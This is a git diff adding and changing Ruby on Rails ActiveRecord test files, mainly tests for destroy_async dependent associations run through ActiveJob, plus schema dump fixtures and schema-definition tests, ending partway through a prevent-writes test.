+  end
+
+  test "destroy_association_async_job error shows a missing parent job class, as if ActiveJob were missing" do
+    error = assert_raises NameError do
+      UnloadableBaseAsync.belongs_to :essay_destroy_async, dependent: :destroy_async
+    end
+    assert_match %r/destroy_association_async_job: uninitialized constant PretendActiveJobIsNotPresent/, error.message
+  end
+
+  test "belongs_to dependent destroy_async requires destroy_association_async_job" do
+    error = assert_raises ActiveRecord::ConfigurationError do
+      UnusedBelongsToAsync.belongs_to :essay_destroy_async, dependent: :destroy_async
+    end
+    assert_match %r/destroy_association_async_job/, error.message
+  end
+
+  test "has_one dependent destroy_async requires destroy_association_async_job" do
+    error = assert_raises ActiveRecord::ConfigurationError do
+      UnusedHasOneAsync.has_one :essay_destroy_async, dependent: :destroy_async
+    end
+    assert_match %r/destroy_association_async_job/, error.message
+  end
+
+  test "has_many dependent destroy_async requires destroy_association_async_job" do
+    error = assert_raises ActiveRecord::ConfigurationError do
+      UnusedHasManyAsync.has_many :essay_destroy_asyncs, dependent: :destroy_async
+    end
+    assert_match %r/destroy_association_async_job/, error.message
+  end
+end
diff --git a/activerecord/test/activejob/destroy_association_async_test.rb b/activerecord/test/activejob/destroy_association_async_test.rb
new file mode 100644
index 0000000000000..7aedd832b2777
--- /dev/null
+++ b/activerecord/test/activejob/destroy_association_async_test.rb
@@ -0,0 +1,441 @@
+# frozen_string_literal: true
+
+require "activejob/helper"
+
+require "models/book_destroy_async"
+require "models/essay_destroy_async"
+require "models/tag"
+require "models/tagging"
+require "models/author"
+require "models/essay"
+require "models/category"
+require "models/post"
+require "models/content"
+require "models/destroy_async_parent"
+require "models/destroy_async_parent_soft_delete"
+require "models/dl_keyed_belongs_to"
+require "models/dl_keyed_belongs_to_soft_delete"
+require "models/dl_keyed_has_one"
+require "models/dl_keyed_join"
+require "models/dl_keyed_has_many"
+require "models/dl_keyed_has_many_through"
+require "models/sharded/blog_post_destroy_async"
+require "models/sharded/comment_destroy_async"
+require "models/sharded/tag"
+require "models/sharded/blog_post"
+require "models/sharded/blog_post_tag"
+require "models/sharded/blog"
+require "models/cpk/book_destroy_async"
+require "models/cpk/chapter_destroy_async"
+
+class DestroyAssociationAsyncTest < ActiveRecord::TestCase
+  include ActiveJob::TestHelper
+
+  test "destroying a record destroys the has_many :through records using a job" do
+    tag = Tag.create!(name: "Der be treasure")
+    tag2 = Tag.create!(name: "Der be rum")
+    book = BookDestroyAsync.create!
+    book.tags << [tag, tag2]
+    book.save!
+
+    assert_enqueued_jobs 1, only: ActiveRecord::DestroyAssociationAsyncJob do
+      book.destroy
+    end
+
+    assert_difference -> { Tag.count }, -2 do
+      perform_enqueued_jobs only: ActiveRecord::DestroyAssociationAsyncJob
+    end
+  ensure
+    Tag.delete_all
+    BookDestroyAsync.delete_all
+  end
+
+  test "destroying a record destroys has_many :through associated by composite primary key using a job" do
+    blog = Sharded::Blog.create!
+    blog_post = Sharded::BlogPostDestroyAsync.create!(blog_id: blog.id)
+
+    tag1 = Sharded::Tag.create!(name: "Short Read", blog_id: blog.id)
+    tag2 = Sharded::Tag.create!(name: "Science", blog_id: blog.id)
+
+    blog_post.tags << [tag1, tag2]
+
+    blog_post.save!
+
+    assert_enqueued_jobs 1, only: ActiveRecord::DestroyAssociationAsyncJob do
+      blog_post.destroy
+    end
+
+    sql = capture_sql do
+      assert_difference -> { Sharded::Tag.count }, -2 do
+        perform_enqueued_jobs only: ActiveRecord::DestroyAssociationAsyncJob
+      end
+    end
+
+    delete_sqls = sql.select { |sql| sql.start_with?("DELETE") }
+    assert_equal 2, delete_sqls.count
+
+    delete_sqls.each do |sql|
+      assert_match(/#{Regexp.escape(quote_table_name("sharded_tags.blog_id"))} =/, sql)
+    end
+  ensure
+    Sharded::Tag.delete_all
+    Sharded::BlogPostDestroyAsync.delete_all
+    Sharded::Blog.delete_all
+  end
+
+  test "destroying a scoped has_many through only deletes within the scope deleted" do
+    tag = Tag.create!(name: "Der be treasure")
+    tag2 = Tag.create!(name: "Der be rum")
+    parent = BookDestroyAsyncWithScopedTags.create!
+    parent.tags << [tag, tag2]
+    parent.save!
+
+    parent.reload # force the association to be reloaded
+
+    parent.destroy
+
+    assert_difference -> { Tag.count }, -1 do
+      perform_enqueued_jobs only: ActiveRecord::DestroyAssociationAsyncJob
+    end
+    assert_raises ActiveRecord::RecordNotFound do
+      tag2.reload
+    end
+    assert tag.reload
+  ensure
+    Tag.delete_all
+    Tagging.delete_all
+    BookDestroyAsyncWithScopedTags.delete_all
+  end
+
+  test "enqueues the has_many through to be deleted with custom primary key" do
+    dl_keyed_has_many = DlKeyedHasManyThrough.create!
+    dl_keyed_has_many2 = DlKeyedHasManyThrough.create!
+    parent = DestroyAsyncParent.create!
+    parent.dl_keyed_has_many_through << [dl_keyed_has_many2, dl_keyed_has_many]
+    parent.save!
+    parent.destroy
+
+    assert_difference -> { DlKeyedJoin.count }, -2 do
+      assert_difference -> { DlKeyedHasManyThrough.count }, -2 do
+        perform_enqueued_jobs only: ActiveRecord::DestroyAssociationAsyncJob
+      end
+    end
+  ensure
+    DlKeyedHasManyThrough.delete_all
+    DestroyAsyncParent.delete_all
+    DlKeyedJoin.delete_all
+  end
+
+  test "enqueues multiple jobs if count of dependent records to destroy is greater than batch size" do
+    ActiveRecord::Base.destroy_association_async_batch_size = 1
+
+    tag = Tag.create!(name: "Der be treasure")
+    tag2 = Tag.create!(name: "Der be rum")
+    book = BookDestroyAsync.create!
+    book.tags << [tag, tag2]
+    book.save!
+
+    job_1_args = ->(job_args) { job_args.first[:association_ids] == [tag.id] }
+    job_2_args = ->(job_args) { job_args.first[:association_ids] == [tag2.id] }
+
+    assert_enqueued_with(job: ActiveRecord::DestroyAssociationAsyncJob, args: job_1_args) do
+      assert_enqueued_with(job: ActiveRecord::DestroyAssociationAsyncJob, args: job_2_args) do
+        book.destroy
+      end
+    end
+
+    assert_difference -> { Tag.count }, -2 do
+      perform_enqueued_jobs only: ActiveRecord::DestroyAssociationAsyncJob
+    end
+  ensure
+    Tag.delete_all
+    BookDestroyAsync.delete_all
+    ActiveRecord::Base.destroy_association_async_batch_size = nil
+  end
+
+  test "belongs to" do
+    essay = EssayDestroyAsync.create!(name: "Der be treasure")
+    book = BookDestroyAsync.create!(name: "Arr, matey!")
+    essay.book = book
+    essay.save!
+    essay.destroy
+
+    assert_difference -> { BookDestroyAsync.count }, -1 do
+      perform_enqueued_jobs only: ActiveRecord::DestroyAssociationAsyncJob
+    end
+  ensure
+    EssayDestroyAsync.delete_all
+    BookDestroyAsync.delete_all
+  end
+
+  test "belongs to associated by composite primary key" do
+    blog = Sharded::Blog.create!
+    blog_post = Sharded::BlogPostDestroyAsync.create!(blog_id: blog.id)
+    comment = Sharded::CommentDestroyAsync.create!(body: "Great post! :clap:")
+
+    comment.blog_post = blog_post
+    comment.save!
+
+    assert_enqueued_jobs 1, only: ActiveRecord::DestroyAssociationAsyncJob do
+      comment.destroy
+    end
+
+    sql = capture_sql do
+      assert_difference -> { Sharded::BlogPostDestroyAsync.count }, -1 do
+        perform_enqueued_jobs only: ActiveRecord::DestroyAssociationAsyncJob
+      end
+    end
+
+    delete_sqls = sql.select { |sql| sql.start_with?("DELETE") }
+    assert_equal 1, delete_sqls.count
+    assert_match(/#{Regexp.escape(quote_table_name("sharded_blog_posts.blog_id"))} =/, delete_sqls.first)
+  ensure
+    Sharded::BlogPostDestroyAsync.delete_all
+    Sharded::CommentDestroyAsync.delete_all
+    Sharded::Blog.delete_all
+  end
+
+  test "enqueues belongs_to to be deleted with custom primary key" do
+    belongs = DlKeyedBelongsTo.create!
+    parent = DestroyAsyncParent.create!
+    belongs.destroy_async_parent = parent
+    belongs.save!
+    belongs.destroy
+
+    assert_difference -> { DestroyAsyncParent.count }, -1 do
+      perform_enqueued_jobs only: ActiveRecord::DestroyAssociationAsyncJob
+    end
+  ensure
+    DlKeyedBelongsTo.delete_all
+    DestroyAsyncParent.delete_all
+  end
+
+  test "polymorphic belongs_to" do
+    writer = Author.create(name: "David")
+    essay = EssayDestroyAsync.create!(name: "Der be treasure", writer: writer)
+
+    essay.destroy
+
+    assert_difference -> { Author.count }, -1 do
+      perform_enqueued_jobs only: ActiveRecord::DestroyAssociationAsyncJob
+    end
+  ensure
+    EssayDestroyAsync.delete_all
+    Author.delete_all
+  end
+
+  test "has_one" do
+    content = Content.create(title: "hello")
+    book = BookDestroyAsync.create!(name: "Arr, matey!")
+    book.content = content
+    book.save!
+    book.destroy
+
+    assert_difference -> { Content.count }, -1 do
+      perform_enqueued_jobs only: ActiveRecord::DestroyAssociationAsyncJob
+    end
+  ensure
+    Content.delete_all
+    BookDestroyAsync.delete_all
+  end
+
+
+  test "enqueues has_one to be deleted with custom primary key" do
+    child = DlKeyedHasOne.create!
+    parent = DestroyAsyncParent.create!
+    parent.dl_keyed_has_one = child
+    parent.save!
+    parent.destroy
+
+    assert_difference -> { DlKeyedHasOne.count }, -1 do
+      perform_enqueued_jobs only: ActiveRecord::DestroyAssociationAsyncJob
+    end
+  ensure
+    DlKeyedHasOne.delete_all
+    DestroyAsyncParent.delete_all
+  end
+
+
+  test "has_many" do
+    essay = EssayDestroyAsync.create!(name: "Der be treasure")
+    essay2 = EssayDestroyAsync.create!(name: "Der be rum")
+    book = BookDestroyAsync.create!(name: "Arr, matey!")
+    book.essays << [essay, essay2]
+    book.save!
+    book.destroy
+
+    assert_difference -> { EssayDestroyAsync.count }, -2 do
+      perform_enqueued_jobs only: ActiveRecord::DestroyAssociationAsyncJob
+    end
+  ensure
+    EssayDestroyAsync.delete_all
+    BookDestroyAsync.delete_all
+  end
+
+  test "has_many with STI parent class destroys all children class records" do
+    book = BookDestroyAsync.create!
+    LongEssayDestroyAsync.create!(book: book)
+    ShortEssayDestroyAsync.create!(book: book)
+    book.destroy
+
+    assert_difference -> { EssayDestroyAsync.count }, -2 do
+      perform_enqueued_jobs only: ActiveRecord::DestroyAssociationAsyncJob
+    end
+  end
+
+  test "enqueues the has_many to be deleted with custom primary key" do
+    dl_keyed_has_many = DlKeyedHasMany.new
+    parent = DestroyAsyncParent.create!
+    parent.dl_keyed_has_many << [dl_keyed_has_many]
+
+    parent.save!
+    parent.destroy
+
+    assert_difference -> { DlKeyedHasMany.count }, -1 do
+      perform_enqueued_jobs only: ActiveRecord::DestroyAssociationAsyncJob
+    end
+  ensure
+    DlKeyedHasMany.delete_all
+    DestroyAsyncParent.delete_all
+  end
+
+  test "has_many associated with composite primary key" do
+    book = Cpk::BookDestroyAsync.create!(id: [1, 1])
+    _chapter1 = book.chapters.create!(id: [1, 1], title: "Chapter 1")
+    _chapter2 = book.chapters.create!(id: [1, 2], title: "Chapter 2")
+
+    assert_enqueued_jobs 1, only: ActiveRecord::DestroyAssociationAsyncJob do
+      book.destroy
+    end
+
+    sql = capture_sql do
+      assert_difference -> { Cpk::ChapterDestroyAsync.count }, -2 do
+        perform_enqueued_jobs only: ActiveRecord::DestroyAssociationAsyncJob
+      end
+    end
+
+    delete_sqls = sql.select { |sql| sql.start_with?("DELETE") }
+    assert_equal 2, delete_sqls.count
+
+    delete_sqls.each do |sql|
+      assert_match(/#{Regexp.escape(quote_table_name("cpk_chapters.author_id"))} =/, sql)
+    end
+  ensure
+    Cpk::ChapterDestroyAsync.delete_all
+    Cpk::BookDestroyAsync.delete_all
+  end
+
+  test "not enqueue the job if transaction is not committed" do
+    dl_keyed_has_many = DlKeyedHasMany.new
+    parent = DestroyAsyncParent.create!
+    parent.dl_keyed_has_many << [dl_keyed_has_many]
+
+    parent.save!
+    assert_no_enqueued_jobs do
+      DestroyAsyncParent.transaction do
+        parent.destroy
+        raise ActiveRecord::Rollback
+      end
+    end
+  ensure
+    DlKeyedHasMany.delete_all
+    DestroyAsyncParent.delete_all
+  end
+
+  test "has many ensures function for parent" do
+    tag = Tag.create!(name: "Der be treasure")
+    tag2 = Tag.create!(name: "Der be rum")
+    parent = DestroyAsyncParentSoftDelete.create!
+    parent.tags << [tag, tag2]
+    parent.save!
+
+    parent.run_callbacks(:destroy)
+    parent.run_callbacks(:commit)
+
+    assert_no_difference -> { Tag.count } do
+      assert_raises ActiveRecord::DestroyAssociationAsyncError do
+        perform_enqueued_jobs only: ActiveRecord::DestroyAssociationAsyncJob
+      end
+    end
+
+    parent.destroy
+    assert_difference -> { Tag.count }, -2 do
+      perform_enqueued_jobs only: ActiveRecord::DestroyAssociationAsyncJob
+    end
+  ensure
+    Tag.delete_all
+    DestroyAsyncParentSoftDelete.delete_all
+  end
+
+  test "has one ensures function for parent" do
+    child = DlKeyedHasOne.create!
+    parent = DestroyAsyncParentSoftDelete.create!
+    parent.dl_keyed_has_one = child
+    parent.save!
+
+    parent.run_callbacks(:destroy)
+    parent.run_callbacks(:commit)
+
+    assert_no_difference -> { DlKeyedHasOne.count } do
+      assert_raises ActiveRecord::DestroyAssociationAsyncError do
+        perform_enqueued_jobs only: ActiveRecord::DestroyAssociationAsyncJob
+      end
+    end
+
+    parent.destroy
+    assert_difference -> { DlKeyedHasOne.count }, -1 do
+      perform_enqueued_jobs only: ActiveRecord::DestroyAssociationAsyncJob
+    end
+  ensure
+    DlKeyedHasOne.delete_all
+    DestroyAsyncParentSoftDelete.delete_all
+  end
+
+  test "enqueues belongs_to to be deleted with ensuring function" do
+    belongs = DlKeyedBelongsToSoftDelete.create!
+    parent = DestroyAsyncParentSoftDelete.create!
+    belongs.destroy_async_parent_soft_delete = parent
+    belongs.save!
+
+    belongs.run_callbacks(:destroy)
+    belongs.run_callbacks(:commit)
+
+    assert_raises ActiveRecord::DestroyAssociationAsyncError do
+      perform_enqueued_jobs only: ActiveRecord::DestroyAssociationAsyncJob
+    end
+
+    assert_not parent.reload.deleted?
+
+    belongs.destroy
+    perform_enqueued_jobs only: ActiveRecord::DestroyAssociationAsyncJob
+    assert_predicate parent.reload, :deleted?
+  ensure
+    DlKeyedBelongsToSoftDelete.delete_all
+    DestroyAsyncParentSoftDelete.delete_all
+  end
+
+  test "Don't enqueue with no relations" do
+    parent = DestroyAsyncParent.create!
+    parent.destroy
+
+    assert_no_enqueued_jobs only: ActiveRecord::DestroyAssociationAsyncJob
+  ensure
+    DestroyAsyncParent.delete_all
+  end
+
+  test "Rollback prevents jobs from being enqueued" do
+    tag = Tag.create!(name: "Der be treasure")
+    tag2 = Tag.create!(name: "Der be rum")
+    book = BookDestroyAsync.create!
+    book.tags << [tag, tag2]
+    book.save!
+    ActiveRecord::Base.transaction do
+      book.destroy
+      raise ActiveRecord::Rollback
+    end
+    assert_no_enqueued_jobs only: ActiveRecord::DestroyAssociationAsyncJob
+  ensure
+    Tag.delete_all
+    BookDestroyAsync.delete_all
+  end
+end
diff --git a/activerecord/test/activejob/helper.rb b/activerecord/test/activejob/helper.rb
new file mode 100644
index 0000000000000..3f0acb716d5ed
--- /dev/null
+++ b/activerecord/test/activejob/helper.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+require "global_id"
+GlobalID.app = "ActiveRecordExampleApp"
+ActiveRecord::Base.include GlobalID::Identification
+
+require "active_job"
+ActiveJob::Base.queue_adapter = :test
+ActiveJob::Base.logger = ActiveSupport::Logger.new(nil)
+
+require_relative "../../../tools/test_common"
+
+ActiveRecord::Base.destroy_association_async_job = ActiveRecord::DestroyAssociationAsyncJob
diff --git a/activerecord/test/activejob/job_checkpoints_test.rb b/activerecord/test/activejob/job_checkpoints_test.rb
new file mode 100644
index 0000000000000..cc1b174c0404b
--- /dev/null
+++ b/activerecord/test/activejob/job_checkpoints_test.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+require "activejob/helper"
+require "active_job/continuable"
+require "active_record/railties/job_checkpoints"
+
+class JobCheckpointTest < ActiveSupport::TestCase
+  class CheckpointInTransactionJob < ActiveJob::Base
+    include ActiveJob::Continuable
+    include ActiveRecord::Railties::JobCheckpoints
+
+    def perform(*)
+      step :checkpoint_in_transaction do |step|
+        ActiveRecord::Base.transaction do
+          step.checkpoint!
+        end
+      end
+    end
+  end
+
+  class CheckpointOutsideTransactionJob < ActiveJob::Base
+    include ActiveJob::Continuable
+    include ActiveRecord::Railties::JobCheckpoints
+
+    def perform(*)
+      step :checkpoint_outside_transaction do |step|
+        ActiveRecord::Base.transaction do
+        end
+        step.checkpoint!
+      end
+    end
+  end
+
+  test "checkpoints in transactions raise" do
+    exception = assert_raises { CheckpointInTransactionJob.perform_now }
+    assert_equal "Cannot checkpoint job with open transactions", exception.message
+  end
+
+  test "checkpoints outside transactions complete" do
+    assert_nothing_raised { CheckpointOutsideTransactionJob.perform_now }
+  end
+end
diff --git a/activerecord/test/activejob/job_runtime_test.rb b/activerecord/test/activejob/job_runtime_test.rb
new file mode 100644
index 0000000000000..8ee5b2fc21d06
--- /dev/null
+++ b/activerecord/test/activejob/job_runtime_test.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+require "activejob/helper"
+require "active_record/railties/job_runtime"
+
+class JobRuntimeTest < ActiveSupport::TestCase
+  class TestJob < ActiveJob::Base
+    include ActiveRecord::Railties::JobRuntime
+
+    def perform(*)
+      ActiveRecord::RuntimeRegistry.stats.sql_runtime += 42.0
+    end
+  end
+
+  test "job notification payload includes db_runtime" do
+    ActiveRecord::RuntimeRegistry.stats.sql_runtime = 0.0
+
+    assert_notification("perform.active_job", db_runtime: 42.0) { TestJob.perform_now }
+  end
+
+  test "db_runtime tracks database runtime for job only" do
+    ActiveRecord::RuntimeRegistry.stats.sql_runtime = 100.0
+
+    assert_notification("perform.active_job", db_runtime: 42.0) { TestJob.perform_now }
+
+    assert_equal 142.0, ActiveRecord::RuntimeRegistry.stats.sql_runtime
+  end
+end
diff --git a/activerecord/test/activejob/unloadable_base_job.rb b/activerecord/test/activejob/unloadable_base_job.rb
new file mode 100644
index 0000000000000..2d05bccac25d4
--- /dev/null
+++ b/activerecord/test/activejob/unloadable_base_job.rb
@@ -0,0 +1,3 @@
+# frozen_string_literal: true
+
+class UnloadableBaseJob < PretendActiveJobIsNotPresent; end
diff --git a/activerecord/test/assets/schema_dump_5_1.yml b/activerecord/test/assets/schema_dump_5_1.yml
index f37977daf24be..5ed5d3315700b 100644
--- a/activerecord/test/assets/schema_dump_5_1.yml
+++ b/activerecord/test/assets/schema_dump_5_1.yml
@@ -307,7 +307,7 @@ data_sources:
   traffic_lights: true
   treasures: true
   tuning_pegs: true
-  tyres: true
+  tires: true
   variants: true
   vertices: true
   warehouse-things: true
@@ -316,7 +316,7 @@ data_sources:
   triangles: true
   non_poly_ones: true
   non_poly_twos: true
-  men: true
+  humans: true
   faces: true
   interests: true
   zines: true
diff --git a/activerecord/test/assets/schema_dump_8_0.yml b/activerecord/test/assets/schema_dump_8_0.yml
new file mode 100644
index 0000000000000..cdb33ba0a49c0
--- /dev/null
+++ b/activerecord/test/assets/schema_dump_8_0.yml
@@ -0,0 +1,134 @@
+--- !ruby/object:ActiveRecord::ConnectionAdapters::SchemaCache
+columns:
+  colleges:
+  - &1 !ruby/object:ActiveRecord::ConnectionAdapters::Column
+    auto_increment: true
+    name: id
+    sql_type_metadata: &4 !ruby/object:ActiveRecord::ConnectionAdapters::SqlTypeMetadata
+      sql_type: INTEGER
+      type: :integer
+      limit:
+      precision:
+      scale:
+    'null': false
+    default:
+    default_function:
+    collation:
+    comment:
+  - &2 !ruby/object:ActiveRecord::ConnectionAdapters::Column
+    auto_increment:
+    name: name
+    sql_type_metadata: !ruby/object:ActiveRecord::ConnectionAdapters::SqlTypeMetadata
+      sql_type: varchar
+      type: :string
+      limit:
+      precision:
+      scale:
+    'null': false
+    default:
+    default_function:
+    collation:
+    comment:
+  courses:
+  - *1
+  - *2
+  - !ruby/object:ActiveRecord::ConnectionAdapters::Column
+    auto_increment:
+    name: college_id
+    sql_type_metadata: *4
+    'null': true
+    default:
+    default_function:
+    collation:
+    comment:
+  courses_professors:
+  - !ruby/object:ActiveRecord::ConnectionAdapters::Column
+    auto_increment:
+    name: course_id
+    sql_type_metadata: *4
+    'null': true
+    default:
+    default_function:
+    collation:
+    comment:
+  - !ruby/object:ActiveRecord::ConnectionAdapters::Column
+    auto_increment:
+    name: professor_id
+    sql_type_metadata: *4
+    'null': true
+    default:
+    default_function:
+    collation:
+    comment:
+  dogs:
+  - *1
+  professors:
+  - *1
+  - *2
+primary_keys:
+  colleges: id
+  courses: id
+  courses_professors:
+  dogs: id
+  professors: id
+data_sources:
+  colleges: true
+  courses: true
+  courses_professors: true
+  dogs: true
+  professors: true
+indexes:
+  colleges: []
+  courses:
+  - !ruby/object:ActiveRecord::ConnectionAdapters::IndexDefinition
+    table: courses
+    name: index_courses_on_college_id
+    unique: false
+    columns:
+    - college_id
+    lengths: {}
+    orders: {}
+    opclasses: {}
+    where:
+    type:
+    using:
+    include:
+    nulls_not_distinct:
+    comment:
+    valid: true
+  courses_professors:
+  - !ruby/object:ActiveRecord::ConnectionAdapters::IndexDefinition
+    table: courses_professors
+    name: index_courses_professors_on_professor_id
+    unique: false
+    columns:
+    - professor_id
+    lengths: {}
+    orders: {}
+    opclasses: {}
+    where:
+    type:
+    using:
+    include:
+    nulls_not_distinct:
+    comment:
+    valid: true
+  - !ruby/object:ActiveRecord::ConnectionAdapters::IndexDefinition
+    table: courses_professors
+    name: index_courses_professors_on_course_id
+    unique: false
+    columns:
+    - course_id
+    lengths: {}
+    orders: {}
+    opclasses: {}
+    where:
+    type:
+    using:
+    include:
+    nulls_not_distinct:
+    comment:
+    valid: true
+  dogs: []
+  professors: []
+version: 0
diff --git a/activerecord/test/cases/active_record_schema_test.rb b/activerecord/test/cases/active_record_schema_test.rb
new file mode 100644
index 0000000000000..0232a4550b893
--- /dev/null
+++ b/activerecord/test/cases/active_record_schema_test.rb
@@ -0,0 +1,204 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class ActiveRecordSchemaTest < ActiveRecord::TestCase
+  self.use_transactional_tests = false
+
+  setup do
+    @original_verbose = ActiveRecord::Migration.verbose
+    ActiveRecord::Migration.verbose = false
+    @connection = ActiveRecord::Base.lease_connection
+    @pool = ActiveRecord::Base.connection_pool
+    @schema_migration = @pool.schema_migration
+    @schema_migration.delete_all_versions
+  end
+
+  teardown do
+    @connection.drop_table :fruits rescue nil
+    @connection.drop_table :has_timestamps rescue nil
+    @connection.drop_table :multiple_indexes rescue nil
+    @connection.drop_table :disabled_index rescue nil
+    @schema_migration.delete_all_versions
+    ActiveRecord::Migration.verbose = @original_verbose
+  end
+
+  def test_has_primary_key
+    old_primary_key_prefix_type = ActiveRecord::Base.primary_key_prefix_type
+    ActiveRecord::Base.primary_key_prefix_type = :table_name_with_underscore
+    assert_equal "version", @schema_migration.primary_key
+
+    assert_difference "@schema_migration.count", 1 do
+      @schema_migration.create_version(12)
+    end
+  ensure
+    ActiveRecord::Base.primary_key_prefix_type = old_primary_key_prefix_type
+  end
+
+  def test_schema_without_version_is_the_current_version_schema
+    schema_class = ActiveRecord::Schema
+    assert schema_class < ActiveRecord::Migration[ActiveRecord::Migration.current_version]
+    assert_not schema_class < ActiveRecord::Migration[7.0]
+    assert schema_class < ActiveRecord::Schema::Definition
+  end
+
+  def test_schema_version_accessor
+    schema_class = ActiveRecord::Schema[6.1]
+    assert schema_class < ActiveRecord::Migration[6.1]
+    assert schema_class < ActiveRecord::Schema::Definition
+  end
+
+  def test_schema_define
+    ActiveRecord::Schema.define(version: 7) do
+      create_table :fruits do |t|
+        t.column :color, :string
+        t.column :fruit_size, :string  # NOTE: "size" is reserved in Oracle
+        t.column :texture, :string
+        t.column :flavor, :string
+      end
+    end
+
+    assert_nothing_raised { @connection.select_all "SELECT * FROM fruits" }
+    assert_nothing_raised { @connection.select_all "SELECT * FROM schema_migrations" }
+    assert_equal 7, @connection.schema_version
+  end
+
+  def test_schema_define_with_table_name_prefix
+    old_table_name_prefix = ActiveRecord::Base.table_name_prefix
+    ActiveRecord::Base.table_name_prefix = "nep_"
+    ActiveRecord::Schema.define(version: 7) do
+      create_table :fruits do |t|
+        t.column :color, :string
+        t.column :fruit_size, :string  # NOTE: "size" is reserved in Oracle
+        t.column :texture, :string
+        t.column :flavor, :string
+      end
+    end
+    assert_equal 7, @pool.migration_context.current_version
+  ensure
+    ActiveRecord::Base.table_name_prefix = old_table_name_prefix
+    @connection.drop_table :nep_fruits
+    @connection.drop_table :nep_schema_migrations
+    @schema_migration.create_table
+  end
+
+  def test_schema_raises_an_error_for_invalid_column_type
+    assert_raise NoMethodError do
+      ActiveRecord::Schema.define(version: 8) do
+        create_table :vegetables do |t|
+          t.unknown :color
+        end
+      end
+    end
+  end
+
+  def test_schema_subclass
+    Class.new(ActiveRecord::Schema).define(version: 9) do
+      create_table :fruits
+    end
+    assert_nothing_raised { @connection.select_all "SELECT * FROM fruits" }
+  end
+
+  def test_normalize_version
+    assert_equal "118", @schema_migration.normalize_migration_number("0000118")
+    assert_equal "002", @schema_migration.normalize_migration_number("2")
+    assert_equal "017", @schema_migration.normalize_migration_number("0017")
+    assert_equal "20131219224947", @schema_migration.normalize_migration_number("20131219224947")
+  end
+
+  def test_schema_load_with_multiple_indexes_for_column_of_different_names
+    ActiveRecord::Schema.define do
+      create_table :multiple_indexes do |t|
+        t.string "foo"
+        t.index ["foo"], name: "multiple_indexes_foo_1"
+        t.index ["foo"], name: "multiple_indexes_foo_2"
+      end
+    end
+
+    indexes = @connection.indexes("multiple_indexes")
+
+    assert_equal 2, indexes.length
+    assert_equal ["multiple_indexes_foo_1", "multiple_indexes_foo_2"], indexes.collect(&:name).sort
+  end
+
+  if ActiveRecord::Base.lease_connection.supports_disabling_indexes?
+    def test_schema_load_for_index_visibility
+      ActiveRecord::Schema.define do
+        create_table :disabled_index do |t|
+          t.string "foo"
+          t.index ["foo"], name: "disabled_foo_index", enabled: false
+        end
+      end
+
+      indexes = @connection.indexes("disabled_index").find { |index| index.name == "disabled_foo_index" }
+      assert_predicate indexes, :disabled?
+    end
+  end
+
+  if current_adapter?(:PostgreSQLAdapter)
+    def test_timestamps_with_and_without_zones
+      ActiveRecord::Schema.define do
+        create_table :has_timestamps do |t|
+          t.datetime "default_format"
+          t.datetime "without_time_zone"
+          t.timestamp "also_without_time_zone"
+          t.timestamptz "with_time_zone"
+        end
+      end
+
+      assert @connection.column_exists?(:has_timestamps, :default_format, :datetime)
+      assert @connection.column_exists?(:has_timestamps, :without_time_zone, :datetime)
+      assert @connection.column_exists?(:has_timestamps, :also_without_time_zone, :datetime)
+      assert @connection.column_exists?(:has_timestamps, :with_time_zone, :timestamptz)
+    end
+  end
+
+  def test_timestamps_with_implicit_default_on_create_table
+    ActiveRecord::Schema.define do
+      create_table :has_timestamps do |t|
+        t.timestamps
+      end
+    end
+
+    assert @connection.column_exists?(:has_timestamps, :created_at, precision: 6, null: false)
+    assert @connection.column_exists?(:has_timestamps, :updated_at, precision: 6, null: false)
+  end
+
+  def test_timestamps_with_implicit_default_on_change_table
+    ActiveRecord::Schema.define do
+      create_table :has_timestamps
+
+      change_table :has_timestamps do |t|
+        t.timestamps default: Time.now
+      end
+    end
+
+    assert @connection.column_exists?(:has_timestamps, :created_at, precision: 6, null: false)
+    assert @connection.column_exists?(:has_timestamps, :updated_at, precision: 6, null: false)
+  end
+
+  if ActiveRecord::Base.lease_connection.supports_bulk_alter?
+    def test_timestamps_with_implicit_default_on_change_table_with_bulk
+      ActiveRecord::Schema.define do
+        create_table :has_timestamps
+
+        change_table :has_timestamps, bulk: true do |t|
+          t.timestamps default: Time.now
+        end
+      end
+
+      assert @connection.column_exists?(:has_timestamps, :created_at, precision: 6, null: false)
+      assert @connection.column_exists?(:has_timestamps, :updated_at, precision: 6, null: false)
+    end
+  end
+
+  def test_timestamps_with_implicit_default_on_add_timestamps
+    ActiveRecord::Schema.define do
+      create_table :has_timestamps
+      add_timestamps :has_timestamps, default: Time.now
+    end
+
+    assert @connection.column_exists?(:has_timestamps, :created_at, precision: 6, null: false)
+    assert @connection.column_exists?(:has_timestamps, :updated_at, precision: 6, null: false)
+  end
+end
diff --git a/activerecord/test/cases/active_record_test.rb b/activerecord/test/cases/active_record_test.rb
new file mode 100644
index 0000000000000..834d55ef654be
--- /dev/null
+++ b/activerecord/test/cases/active_record_test.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class ActiveRecordTest < ActiveRecord::TestCase
+  self.use_transactional_tests = false
+
+  unless in_memory_db?
+    test ".disconnect_all! closes all connections" do
+      ActiveRecord::Base.lease_connection.connect!
+      assert_predicate ActiveRecord::Base, :connected?
+
+      ActiveRecord.disconnect_all!
+      assert_not_predicate ActiveRecord::Base, :connected?
+
+      ActiveRecord::Base.lease_connection.connect!
+      assert_predicate ActiveRecord::Base, :connected?
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapter_prevent_writes_test.rb b/activerecord/test/cases/adapter_prevent_writes_test.rb
new file mode 100644
index 0000000000000..e3b93ca786864
--- /dev/null
+++ b/activerecord/test/cases/adapter_prevent_writes_test.rb
@@ -0,0 +1,158 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/connection_helper"
+require "models/book"
+require "models/post"
+require "models/author"
+require "models/event"
+
+module ActiveRecord
+  class AdapterPreventWritesTest < ActiveRecord::TestCase
+    def setup
+      @connection = ActiveRecord::Base.lease_connection
+    end
+
+    def test_preventing_writes_predicate
+      assert_not_predicate @connection, :preventing_writes?
+
+      ActiveRecord::Base.while_preventing_writes do
+        assert_predicate @connection, :preventing_writes?
+      end
+
+      assert_not_predicate @connection, :preventing_writes?
+    end
+
+    def test_errors_when_an_insert_query_is_called_while_preventing_writes
+      ActiveRecord::Base.while_preventing_writes do
+        assert_raises(ActiveRecord::ReadOnlyError) do
